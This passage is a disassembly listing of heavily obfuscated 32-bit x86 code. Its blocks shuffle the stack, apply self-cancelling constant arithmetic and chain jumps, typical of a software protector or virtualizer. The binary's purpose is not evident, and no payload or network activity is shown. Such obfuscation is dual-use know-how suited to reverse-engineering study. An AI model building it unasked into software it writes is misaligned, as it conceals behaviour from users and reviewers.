		sub	ebx, 0EA00E6E7h
		xor	eax, ebx
		pop	ebx
		sub	ebx, 55DE6F7Dh
		push	74B5h
		mov	[esp], ebp
		mov	ebp, 5DE07E0h
		jmp	loc_582D22
; ---------------------------------------------------------------------------


loc_583353:				; CODE XREF: ud2_____:00588997j
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_5830F7
; ---------------------------------------------------------------------------


loc_583368:				; CODE XREF: ud2_____:00581F66j
		mov	[esp], ebp
		jmp	loc_586ACE
; ---------------------------------------------------------------------------


loc_583370:				; CODE XREF: ud2_____:005919CAj
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_58D3E1
; ---------------------------------------------------------------------------


loc_58338A:				; CODE XREF: ud2_____:0058C550j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_58D46F
; ---------------------------------------------------------------------------


loc_583393:				; CODE XREF: ud2_____:00584CC1j
		pop	esp
		jmp	loc_58D04B
; ---------------------------------------------------------------------------


loc_583399:				; CODE XREF: ud2_____:0058563Cj
		xchg	ebx, [esp]
		mov	esp, [esp]
		sub	bl, 33h
		sub	bl, ch
		jmp	loc_58647E
; ---------------------------------------------------------------------------


loc_5833A9:				; CODE XREF: ud2_____:00586B5Aj
		push	dword ptr [esp]
		jmp	loc_586CC0
; ---------------------------------------------------------------------------


loc_5833B1:				; CODE XREF: ud2_____:0058CD29j
		push	ebx
		mov	ebx, 0FD265A3h
		xchg	edx, ebx
		jmp	loc_58AB3E
; ---------------------------------------------------------------------------


loc_5833BE:				; CODE XREF: ud2_____:00585DAAj
		mov	[esp], edi
		push	5D36h
		mov	[esp], eax
		mov	eax, 282D3875h
		add	[esp+4], eax
		pop	eax
		pop	edx
		sub	edx, 282D3875h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		and	ecx, edx
		mov	edx, [esp]
		push	edx
		jmp	loc_581125
; ---------------------------------------------------------------------------


loc_5833EC:				; CODE XREF: ud2_____:005868B4j
		pop	esi
		pop	ebx
		push	ecx
		mov	ecx, 1
		sub	esi, 2BB82EF0h
		sub	esi, ecx
		add	esi, 2BB82EF0h
		jmp	loc_5861B3
; ---------------------------------------------------------------------------


loc_583407:				; CODE XREF: ud2_____:0058F920j
		add	ebp, ebx
		push	edi
		mov	edi, 4F6725A3h
		sub	ebp, edi
		pop	edi
		jmp	loc_592579
; ---------------------------------------------------------------------------


loc_583417:				; CODE XREF: ud2_____:00589A93j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_57EAE0
; ---------------------------------------------------------------------------


loc_58342B:				; CODE XREF: ud2_____:00589A05j
		pop	esp
		add	ebx, 4F0F00DFh
		add	ebx, esi
		sub	ebx, 4F0F00DFh
		mov	esi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4764370Ch
		sub	ebx, esi
		pop	esi
		jmp	loc_57EC13
; ---------------------------------------------------------------------------


loc_58344E:				; CODE XREF: ud2_____:005809D2j
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_589B70
; ---------------------------------------------------------------------------


loc_583458:				; CODE XREF: ud2_____:0058E011j
		add	ebp, edi
		pop	edi
		jmp	loc_58ADB8
; ---------------------------------------------------------------------------


loc_583460:				; CODE XREF: ud2_____:00580E4Fj
		pop	esi
		jmp	loc_590339
; ---------------------------------------------------------------------------


loc_583466:				; CODE XREF: ud2_____:00580C38j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 36F356C1h
		xor	ebp, 36F356C5h
		add	eax, ebp
		pop	ebp
		push	ebx
		mov	ebx, 2
		sub	eax, 34F70D8Fh
		push	ecx
		mov	ecx, 766C7CE8h
		jmp	loc_59247C
; ---------------------------------------------------------------------------


loc_58349C:				; CODE XREF: ud2_____:0057EC65j
		sub	eax, 1060354h
		jmp	loc_57F183
; ---------------------------------------------------------------------------


loc_5834A6:				; CODE XREF: ud2_____:00581296j
		pop	ebp
		add	ebp, 4
		jmp	loc_58A575
; ---------------------------------------------------------------------------


loc_5834B2:				; CODE XREF: ud2_____:0058746Cj
		push	ebx
		jmp	loc_5928AB
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp], cl
		pushf
		jmp	loc_58DB52
; ---------------------------------------------------------------------------


loc_5834C7:				; CODE XREF: ud2_____:00582EC0j
		push	ebx
		jmp	loc_582216
; ---------------------------------------------------------------------------


loc_5834CD:				; CODE XREF: ud2_____:00592FD1j
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_592101
; ---------------------------------------------------------------------------


loc_5834DB:				; CODE XREF: ud2_____:0058B19Fj
		sub	eax, 263A36E6h
		sub	eax, edx
		add	eax, 263A36E6h
		jmp	loc_580026
; ---------------------------------------------------------------------------


loc_5834EC:				; CODE XREF: ud2_____:0058F04Aj
		not	eax
		inc	eax
		shl	eax, 2
		xor	eax, 3F1E6EDEh
		add	eax, 0DAE7B0ACh
		jmp	loc_5807D0
; ---------------------------------------------------------------------------


loc_583501:				; CODE XREF: ud2_____:00587255j
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_57F0D5
; ---------------------------------------------------------------------------


loc_58350F:				; CODE XREF: ud2_____:0058219Ej
		push	4
		mov	edi, [esp]
		add	esp, 4
		add	edx, edi
		jmp	loc_58BF10
; ---------------------------------------------------------------------------


loc_583521:				; CODE XREF: ud2_____:005892C3j
		add	esp, 4
		jmp	loc_58C360
; ---------------------------------------------------------------------------


loc_58352C:				; CODE XREF: ud2_____:0058D172j
		xor	eax, ecx
		pop	ecx
		push	dword ptr [esp]
		mov	edx, [esp]
		push	edi
		jmp	loc_583FB9
; ---------------------------------------------------------------------------


loc_58353B:				; CODE XREF: ud2_____:00581E75j
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 30A917DEh
		inc	eax
		sub	eax, 21A57710h
		add	eax, 0F0FC5F35h
		add	ebp, eax
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_585F99
; ---------------------------------------------------------------------------


loc_583565:				; CODE XREF: ud2_____:00590FCCj
		mov	[esp], ecx
		push	37CDh
		mov	[esp], esi
		jmp	loc_591303
; ---------------------------------------------------------------------------


loc_583575:				; CODE XREF: ud2_____:005831DEj
		pop	ebp
		pop	eax
		jmp	loc_5863C5
; ---------------------------------------------------------------------------


loc_58357C:				; CODE XREF: ud2_____:0059160Bj
		pop	ebx
		add	ebx, 630877D4h
		jmp	loc_58AA14
; ---------------------------------------------------------------------------


loc_583588:				; CODE XREF: ud2_____:00585A63j
		inc	edx
		add	edx, 0A9BC2C81h
		not	edx
		add	edx, 7FE324EBh
		sub	edx, 0E8E6F9Eh
		sub	ecx, edx
		jmp	loc_581E31
; ---------------------------------------------------------------------------


loc_5835A4:				; CODE XREF: ud2_____:0058E918j
		sub	ebx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	4A20h
		jmp	loc_58FED2
; ---------------------------------------------------------------------------


loc_5835BA:				; CODE XREF: ud2_____:005877B0j
		add	esi, 4
		push	esi
		jmp	loc_58C8AC
; ---------------------------------------------------------------------------


loc_5835C3:				; CODE XREF: ud2_____:0058E1EBj
		pop	esi
		push	ebp
		jmp	loc_58714F
; ---------------------------------------------------------------------------


loc_5835CA:				; CODE XREF: ud2_____:00584877j
		add	esi, 4
		push	ebp
		mov	ebp, 38C1536Ch
		shl	ebp, 2
		xor	ebp, 476837C3h
		shl	ebp, 6
		xor	ebp, 1B5E9CC4h
		add	esi, 75B71B82h
		sub	esi, ebp
		jmp	loc_591A12
; ---------------------------------------------------------------------------


loc_5835F5:				; CODE XREF: ud2_____:0058559Aj
		or	ebx, eax
		mov	eax, [esp]
		jmp	loc_5814AA
; ---------------------------------------------------------------------------


loc_5835FF:				; CODE XREF: ud2_____:00588513j
		add	edi, 65E478D2h
		shr	edi, 6
		inc	edi
		sub	edi, 0BEBF681h
		sub	eax, edi
		jmp	loc_583FEF
; ---------------------------------------------------------------------------


loc_583616:				; CODE XREF: ud2_____:00587D51j
		mov	edx, 0C47163E9h
		add	edi, edx
		pop	edx
		push	edi
		add	dword ptr [esp], 170C2D65h
		jmp	loc_583B9B
; ---------------------------------------------------------------------------


loc_58362B:				; CODE XREF: ud2_____:00585019j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_58E55F
; ---------------------------------------------------------------------------


loc_583639:				; CODE XREF: ud2_____:00580074j
		mov	eax, 6FAA8594h
		add	edi, eax
		pop	eax
		sub	ebx, edi
		pop	edi
		jmp	loc_586CB0
; ---------------------------------------------------------------------------


loc_583649:				; CODE XREF: ud2_____:0058068Ej
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_587339
; ---------------------------------------------------------------------------


loc_583654:				; CODE XREF: ud2_____:00592854j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_589DE4
; ---------------------------------------------------------------------------


loc_58365F:				; CODE XREF: ud2_____:00585DC9j
		push	esi
		mov	esi, 14F625D6h
		jmp	loc_58DCD0
; ---------------------------------------------------------------------------


loc_58366A:				; CODE XREF: ud2_____:0058114Cj
		sub	eax, ebp
		pop	ebp
		jmp	loc_58D06A
; ---------------------------------------------------------------------------


loc_583672:				; CODE XREF: ud2_____:00587C4Fj
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	531Ah
		mov	[esp], esi
		jmp	loc_58F1FE
; ---------------------------------------------------------------------------


loc_58368B:				; CODE XREF: ud2_____:0058BD42j
		mov	ecx, [esp]
		add	esp, 4
		shl	bh, 8
		and	bh, 0E3h
		xor	bh, 0D8h
		mov	cl, bh
		pop	ebx
		inc	cl
		jmp	loc_57FC0A
; ---------------------------------------------------------------------------


loc_5836A4:				; CODE XREF: ud2_____:0058EDD5j
		shr	edi, 5
		jmp	loc_5875BC
; ---------------------------------------------------------------------------


loc_5836AC:				; CODE XREF: ud2_____:0058E66Cj
		add	ecx, 3BD569Eh
		jmp	loc_58DE8D
; ---------------------------------------------------------------------------


loc_5836B7:				; CODE XREF: ud2_____:00592FA8j
		and	esi, 309A28B7h
		push	ebx
		mov	ebx, 103F07ECh
		or	ebx, 4AC40296h
		sub	ebx, 0FFFFFFFFh
		not	ebx
		jmp	loc_591CCC
; ---------------------------------------------------------------------------


loc_5836D6:				; CODE XREF: ud2_____:0058E539j
		mov	eax, [esp]
		jmp	loc_583B3F
; ---------------------------------------------------------------------------


loc_5836DE:				; CODE XREF: ud2_____:0058E30Cj
		push	ebx
		jmp	loc_588BCB
; ---------------------------------------------------------------------------


loc_5836E4:				; CODE XREF: ud2_____:00583001j
		pop	ecx
		add	dh, al
		pop	eax
		mov	cl, dh
		mov	edx, [esp]
		push	5529h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_5813DE
; ---------------------------------------------------------------------------


loc_5836FC:				; CODE XREF: ud2_____:00587B47j
		push	edi
		xor	dword ptr [esp], 24FB681Fh
		pop	ecx
		xor	ecx, 24FB681Fh
		push	dword ptr [esp]
		pop	edi
		push	ebp
		push	esp
		jmp	loc_588E35
; ---------------------------------------------------------------------------


loc_583716:				; CODE XREF: ud2_____:00583F5Bj
		sub	ebp, 2A4D48A8h
		jmp	loc_584D5D
; ---------------------------------------------------------------------------


loc_583721:				; CODE XREF: ud2_____:00585301j
		add	esp, 4
		push	esi
		jmp	loc_58F238
; ---------------------------------------------------------------------------


loc_58372D:				; CODE XREF: ud2_____:0057FE7Aj
		pop	ebx
		add	edx, 0CEA5DED9h
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 652516AEh
		jmp	loc_58E4B4
; ---------------------------------------------------------------------------


loc_58374A:				; CODE XREF: ud2_____:00590DB9j
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5841F0
; ---------------------------------------------------------------------------


loc_58376A:				; CODE XREF: ud2_____:0058E435j
		mov	ebx, 0D5BD0A6Bh
		sub	ebx, 0BBA7D23h
		add	ebx, eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0BBA7D23h
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		pop	eax
		xor	ebx, edx
		push	dword ptr [esp]
		jmp	loc_5922F6
; ---------------------------------------------------------------------------


loc_583795:				; CODE XREF: ud2_____:0058C6FEj
		push	eax
		jmp	loc_57FD8B
; ---------------------------------------------------------------------------


loc_58379B:				; CODE XREF: ud2_____:0058CB50j
		shl	edi, 2
		sub	edi, 39381DBDh
		sub	eax, edi
		pop	edi
		jmp	loc_581BC1
; ---------------------------------------------------------------------------


loc_5837AC:				; CODE XREF: ud2_____:005880A8j
		pop	eax
		xchg	ebx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_587E43
; ---------------------------------------------------------------------------


loc_5837BB:				; CODE XREF: ud2_____:00585D86j
		push	ecx
		jmp	loc_585942
; ---------------------------------------------------------------------------


loc_5837C1:				; CODE XREF: ud2_____:00581B1Dj
		shl	eax, 4
		inc	eax
		jmp	loc_588A20
; ---------------------------------------------------------------------------


loc_5837CA:				; CODE XREF: ud2_____:005907A4j
		mov	[esp], ebx
		jmp	loc_58104E
; ---------------------------------------------------------------------------


loc_5837D2:				; CODE XREF: ud2_____:00582445j
		sub	dh, 42h
		jmp	loc_57EBE8
; ---------------------------------------------------------------------------


loc_5837DA:				; CODE XREF: ud2_____:0058444Bj
		sub	esp, 4
		mov	[esp], esp
		push	ecx
		jmp	loc_580E3F
; ---------------------------------------------------------------------------


loc_5837E6:				; CODE XREF: ud2_____:00584E66j
		mov	esp, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_5902EB
; ---------------------------------------------------------------------------


loc_5837F7:				; CODE XREF: ud2_____:00589FE7j
		add	ecx, edx
		jmp	loc_58CDA0
; ---------------------------------------------------------------------------


loc_5837FE:				; CODE XREF: ud2_____:005853A9j
		mov	ecx, 41FC3076h
		add	ecx, 9A75323h
		and	ecx, 1A2F6D92h
		sub	ecx, 4D76083Fh
		jmp	loc_58018B
; ---------------------------------------------------------------------------


loc_58381A:				; CODE XREF: ud2_____:005850F4j
		add	ecx, eax
		jmp	loc_5921BB
; ---------------------------------------------------------------------------


loc_583821:				; CODE XREF: ud2_____:00586112j
		sub	word ptr [esp+2], 149Ah
		push	di
		jmp	loc_592D06
; ---------------------------------------------------------------------------


loc_58382F:				; CODE XREF: ud2_____:00580B7Fj
		pop	edi
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_587585
; ---------------------------------------------------------------------------


loc_583840:				; CODE XREF: ud2_____:0059087Bj
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	edi
		jmp	loc_58073D
; ---------------------------------------------------------------------------


loc_583850:				; CODE XREF: ud2_____:0057E750j
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_584741
; ---------------------------------------------------------------------------


loc_58385B:				; CODE XREF: ud2_____:00590DEEj
		and	ecx, edi
		pop	edi
		jmp	loc_58DCC5
; ---------------------------------------------------------------------------


loc_583863:				; CODE XREF: ud2_____:00584B26j
		push	edx
		mov	edx, 4C4319D2h
		not	edx
		jmp	loc_58FF62
; ---------------------------------------------------------------------------


loc_583870:				; CODE XREF: ud2_____:0058D201j
		sub	ah, 0C0h
		add	bl, ah
		jmp	loc_58E969
; ---------------------------------------------------------------------------


loc_58387A:				; CODE XREF: ud2_____:0058E3DAj
		add	esp, 4
		sub	eax, 18E65172h
		sub	eax, 54A90770h
		add	eax, edx
		add	eax, 54A90770h
		add	eax, 18E65172h
		pop	edx
		push	edi
		push	esi
		mov	esi, 393A4122h
		jmp	loc_5896EC
; ---------------------------------------------------------------------------


loc_5838A3:				; CODE XREF: ud2_____:00585133j
		push	55A3h
		mov	[esp], ebx
		mov	ebx, 2
		add	edx, 530C52FDh
		add	edx, ebx
		push	3698h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	ebp
		push	8B44758h
		pop	ebp
		shr	ebp, 4
		jmp	loc_58EADD
; ---------------------------------------------------------------------------


loc_5838E4:				; CODE XREF: ud2_____:0058581Fj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	[esp], eax
		pushf
		jmp	loc_5904D8
; ---------------------------------------------------------------------------


loc_5838F6:				; CODE XREF: ud2_____:0057EDDAj
		pop	ecx
		sub	bh, al
		pop	eax
		sub	bh, 8Ch
		jmp	loc_586093
; ---------------------------------------------------------------------------


loc_583902:				; CODE XREF: ud2_____:0058EB65j
		add	esp, 4
		pop	esi
		push	eax
		jmp	loc_58ADF6
; ---------------------------------------------------------------------------


loc_58390C:				; CODE XREF: ud2_____:0058ABA9j
		push	edx
		mov	dh, 0D2h
		not	dh
		neg	dh
		or	dh, 0DBh
		jmp	loc_5915C9
; ---------------------------------------------------------------------------


loc_58391B:				; CODE XREF: ud2_____:0058DB04j
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mul	cl
		movzx	cx, ah
		push	edi
		mov	edi, esp
		add	edi, 4
		push	edx
		mov	edx, 4
		sub	edi, edx
		mov	edx, [esp]
		jmp	loc_58C1ED
; ---------------------------------------------------------------------------


loc_58394A:				; CODE XREF: ud2_____:0058BA83j
		add	ebp, 4
		push	eax
		mov	eax, 61922A4Dh
		jmp	loc_58B945
; ---------------------------------------------------------------------------


loc_58395B:				; CODE XREF: ud2_____:00586459j
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	ebx
		push	4207h
		mov	[esp], ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_590486
; ---------------------------------------------------------------------------


loc_58397F:				; CODE XREF: ud2_____:0058B046j
		push	edi
		mov	edi, esp
		add	edi, 4
		push	3D83h
		mov	[esp], ecx
		push	edx
		push	3745680Ah
		pop	edx
		sub	edx, 37456806h
		mov	ecx, edx
		pop	edx
		add	edi, ecx
		pop	ecx
		jmp	loc_584787
; ---------------------------------------------------------------------------


loc_5839A8:				; CODE XREF: ud2_____:0058E8BFj
		add	esp, 4
		jmp	loc_580AF5
; ---------------------------------------------------------------------------


loc_5839B3:				; CODE XREF: ud2_____:00589E8Ej
		push	34C2h
		mov	[esp], edi
		push	ecx
		push	eax
		mov	eax, 465D6C9Dh
		push	esi
		mov	esi, 795B479Eh
		and	eax, esi
		pop	esi
		jmp	loc_5878F0
; ---------------------------------------------------------------------------


loc_5839D0:				; CODE XREF: ud2_____:0058C223j
		add	ecx, 20B550D3h
		add	ecx, ebp
		sub	ecx, 20B550D3h
		jmp	loc_58E2EF
; ---------------------------------------------------------------------------


loc_5839E3:				; CODE XREF: ud2_____:00580E8Cj
		add	esp, 4
		add	edx, ebx
		jmp	loc_59281A
; ---------------------------------------------------------------------------


loc_5839F0:				; CODE XREF: ud2_____:00584A3Dj
		mov	ebx, 204A688Bh
		dec	ebx
		jmp	loc_589978
; ---------------------------------------------------------------------------


loc_5839FB:				; CODE XREF: ud2_____:0058A65Bj
		xor	eax, ebx
		push	5AEEh
		mov	[esp], edx
		jmp	loc_58619A
; ---------------------------------------------------------------------------


loc_583A0A:				; CODE XREF: ud2_____:0058FCDAj
		mov	[esp], ebx
		jmp	loc_58CB13
; ---------------------------------------------------------------------------


loc_583A12:				; CODE XREF: ud2_____:00592673j
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_58E0A2
; ---------------------------------------------------------------------------


loc_583A1E:				; CODE XREF: ud2_____:005860C3j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5863A1
; ---------------------------------------------------------------------------


loc_583A38:				; CODE XREF: ud2_____:00585E23j
		pop	esp
		mov	[esp], edx
		push	eax
		jmp	loc_58E06D
; ---------------------------------------------------------------------------


loc_583A42:				; CODE XREF: ud2_____:0058BC28j
		mov	edx, 2
		add	edi, edx
		jmp	loc_59226A
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_5832E8
; ---------------------------------------------------------------------------


loc_583A55:				; CODE XREF: ud2_____:005863F5j
		mov	eax, esp
		push	esi
		mov	esi, 566B5B04h
		inc	esi
		sub	esi, 16E56C78h
		jmp	loc_5826B6
; ---------------------------------------------------------------------------


loc_583A69:				; CODE XREF: ud2_____:005824F4j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_583A6E:				; CODE XREF: ud2_____:00580AF0j
		pop	dword ptr [esp]
		push	edx
		jmp	loc_58199E
; ---------------------------------------------------------------------------


loc_583A77:				; CODE XREF: ud2_____:00586FF5j
		push	ecx
		mov	ecx, esp
		jmp	loc_585B7A
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	4E50h
		mov	[esp], eax
		push	705Eh
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_580C33
; ---------------------------------------------------------------------------


loc_583AB0:				; CODE XREF: ud2_____:0058CE3Cj
		add	ebp, 16B05255h
		jmp	loc_583B05
; ---------------------------------------------------------------------------


loc_583ABB:				; CODE XREF: ud2_____:0057E990j
		pop	eax
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	edi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4FD82CD0h
		mov	edi, ecx
		pop	ecx
		neg	edi
		push	eax
		mov	eax, 4FD82CE0h
		add	edi, eax
		pop	eax
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_589DF9
; ---------------------------------------------------------------------------


loc_583AF8:				; CODE XREF: ud2_____:005907FCj
		mov	[esp], edi
		mov	edi, 7DC80C65h
		jmp	loc_586EDE
; ---------------------------------------------------------------------------


loc_583B05:				; CODE XREF: ud2_____:00583AB6j
		or	ebp, 4C703496h
		jmp	loc_582E51
; ---------------------------------------------------------------------------


loc_583B10:				; CODE XREF: ud2_____:00582905j
		pop	ebp
		mov	ebp, eax
		jmp	loc_58B469
; ---------------------------------------------------------------------------


loc_583B18:				; CODE XREF: ud2_____:00582264j
		pop	ebx
		jmp	loc_592109
; ---------------------------------------------------------------------------


loc_583B1E:				; CODE XREF: ud2_____:00590FFAj
		push	ebp
		jmp	loc_586ECE
; ---------------------------------------------------------------------------


loc_583B24:				; CODE XREF: ud2_____:0057FDD4j
		or	ebx, 14DD0600h
		dec	ebx
		or	ebx, 1F4A5180h
		xor	ebx, 83F102C4h
		mov	ebp, ebx
		pop	ebx
		jmp	loc_590862
; ---------------------------------------------------------------------------


loc_583B3F:				; CODE XREF: ud2_____:005836D9j
		push	ebp
		mov	ebp, esp
		jmp	loc_57E140
; ---------------------------------------------------------------------------


loc_583B47:				; CODE XREF: ud2_____:005827C8j
		xor	al, cl
		pop	ecx
		add	bl, al
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 4CB054D4h
		add	ecx, 4E084769h
		shl	ecx, 1
		jmp	loc_58E7A8
; ---------------------------------------------------------------------------


loc_583B6E:				; CODE XREF: ud2_____:0058D74Cj
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		dec	word ptr [esp]
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_583B81:				; CODE XREF: ud2_____:00580415j
		push	ebx
		push	edx
		push	eax
		mov	ah, 0DFh
		mov	dl, 0CDh
		add	dl, ah
		pop	eax
		mov	bl, dl
		pop	edx
		push	eax
		mov	al, 74h
		add	ch, al
		mov	eax, [esp]
		jmp	loc_58F2B8
; ---------------------------------------------------------------------------


loc_583B9B:				; CODE XREF: ud2_____:00583626j
		pop	eax
		jmp	loc_590D51
; ---------------------------------------------------------------------------


loc_583BA1:				; CODE XREF: ud2_____:00581455j
		not	bl
		sub	bl, 1Dh
		sub	al, bl
		pop	ebx
		sub	al, 94h
		sub	al, bl
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5805D8
; ---------------------------------------------------------------------------


loc_583BBB:				; CODE XREF: ud2_____:00587E5Ej
		pop	ecx
		jmp	loc_58F2E6
; ---------------------------------------------------------------------------


loc_583BC1:				; CODE XREF: ud2_____:0057E6DBj
		sub	ecx, ebp
		add	ecx, 2A3D4DE3h
		jmp	loc_586A55
; ---------------------------------------------------------------------------


loc_583BCE:				; CODE XREF: ud2_____:00591361j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_583BD3:				; CODE XREF: ud2_____:00588D27j
		xor	edi, 81AED553h
		add	edx, edi
		pop	edi
		sub	edx, esi
		sub	edx, 19BF5E2Fh
		mov	esi, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_583BFB:				; CODE XREF: ud2_____:005851BBj
		mov	[esp], edx
		jmp	loc_58E6B6
; ---------------------------------------------------------------------------


loc_583C03:				; CODE XREF: ud2_____:00587305j
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	al, bh
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		push	eax
		push	ebx
		jmp	loc_581A8A
; ---------------------------------------------------------------------------


loc_583C2D:				; CODE XREF: ud2_____:005869B3j
		mov	bl, 88h
		jmp	loc_592FD6
; ---------------------------------------------------------------------------


loc_583C34:				; CODE XREF: ud2_____:0058A63Dj
		not	edi
		push	5265h
		jmp	loc_589C5F
; ---------------------------------------------------------------------------


loc_583C40:				; CODE XREF: ud2_____:0058F9F4j
		xor	eax, ecx
		push	6B61h
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		push	ebx
		jmp	loc_57E12C
; ---------------------------------------------------------------------------


loc_583C54:				; CODE XREF: ud2_____:0057FB20j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_592006
; ---------------------------------------------------------------------------


loc_583C60:				; CODE XREF: ud2_____:0057EFA8j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	eax, 4
		jmp	loc_5841DA
; ---------------------------------------------------------------------------


loc_583C78:				; CODE XREF: ud2_____:00582483j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_58A9DB
; ---------------------------------------------------------------------------


loc_583C90:				; CODE XREF: ud2_____:0058D454j
		push	esi
		mov	esi, 3F40662Ah
		add	ebp, esi
		pop	esi
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5844AE
; ---------------------------------------------------------------------------


loc_583CAB:				; CODE XREF: ud2_____:0058607Bj
		add	edi, edx
		pop	edx
		push	edi
		pop	ebx
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		mov	edx, 24F9585Eh
		xor	edx, ebx
		mov	ebx, [esp]
		jmp	loc_5887DF
; ---------------------------------------------------------------------------


loc_583CCE:				; CODE XREF: ud2_____:0057FE4Fj
		sub	eax, edi
		sub	eax, 24C162A7h
		push	dword ptr [esp]
		pop	edi
		push	72B3h
		mov	[esp], esi
		push	esp
		jmp	loc_58A7C8
; ---------------------------------------------------------------------------


loc_583CE7:				; CODE XREF: ud2_____:00580EADj
		shl	edx, 8
		add	edx, 81FB4804h
		add	ebp, edx
		pop	edx
		push	0C9Ah
		mov	[esp], ebx
		push	esp
		jmp	loc_591535
; ---------------------------------------------------------------------------


loc_583D01:				; CODE XREF: ud2_____:00587EC5j
		mov	ecx, 4D537B1h
		jmp	loc_58DC77
; ---------------------------------------------------------------------------


loc_583D0B:				; CODE XREF: ud2_____:00582F99j
		mov	ch, 69h
		mov	dh, ch
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	cl, 2Dh
		not	cl
		jmp	loc_57F268
; ---------------------------------------------------------------------------


loc_583D1F:				; CODE XREF: ud2_____:00580B68j
		pop	dword ptr [esp]
		jmp	loc_58AFB0
; ---------------------------------------------------------------------------


loc_583D27:				; CODE XREF: ud2_____:00586672j
		mov	edx, 4
		add	edi, 42EF4F59h
		add	edi, edx
		sub	edi, 42EF4F59h
		jmp	loc_58B2FB
; ---------------------------------------------------------------------------


loc_583D3F:				; CODE XREF: ud2_____:00585958j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_57E151
; ---------------------------------------------------------------------------


loc_583D4D:				; CODE XREF: ud2_____:0058003Fj
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		add	edx, 4
		push	eax
		push	edx
		mov	edx, 49ED1D8Dh
		jmp	loc_5881D4
; ---------------------------------------------------------------------------


loc_583D6C:				; CODE XREF: ud2_____:00580D59j
		push	ebp
		push	ebx
		mov	ebx, 2CD936ACh
		and	ebx, 2AAD2C37h
		push	ecx
		mov	ecx, 78431BFh
		sub	ecx, 300D55DFh
		jmp	loc_57E10E
; ---------------------------------------------------------------------------


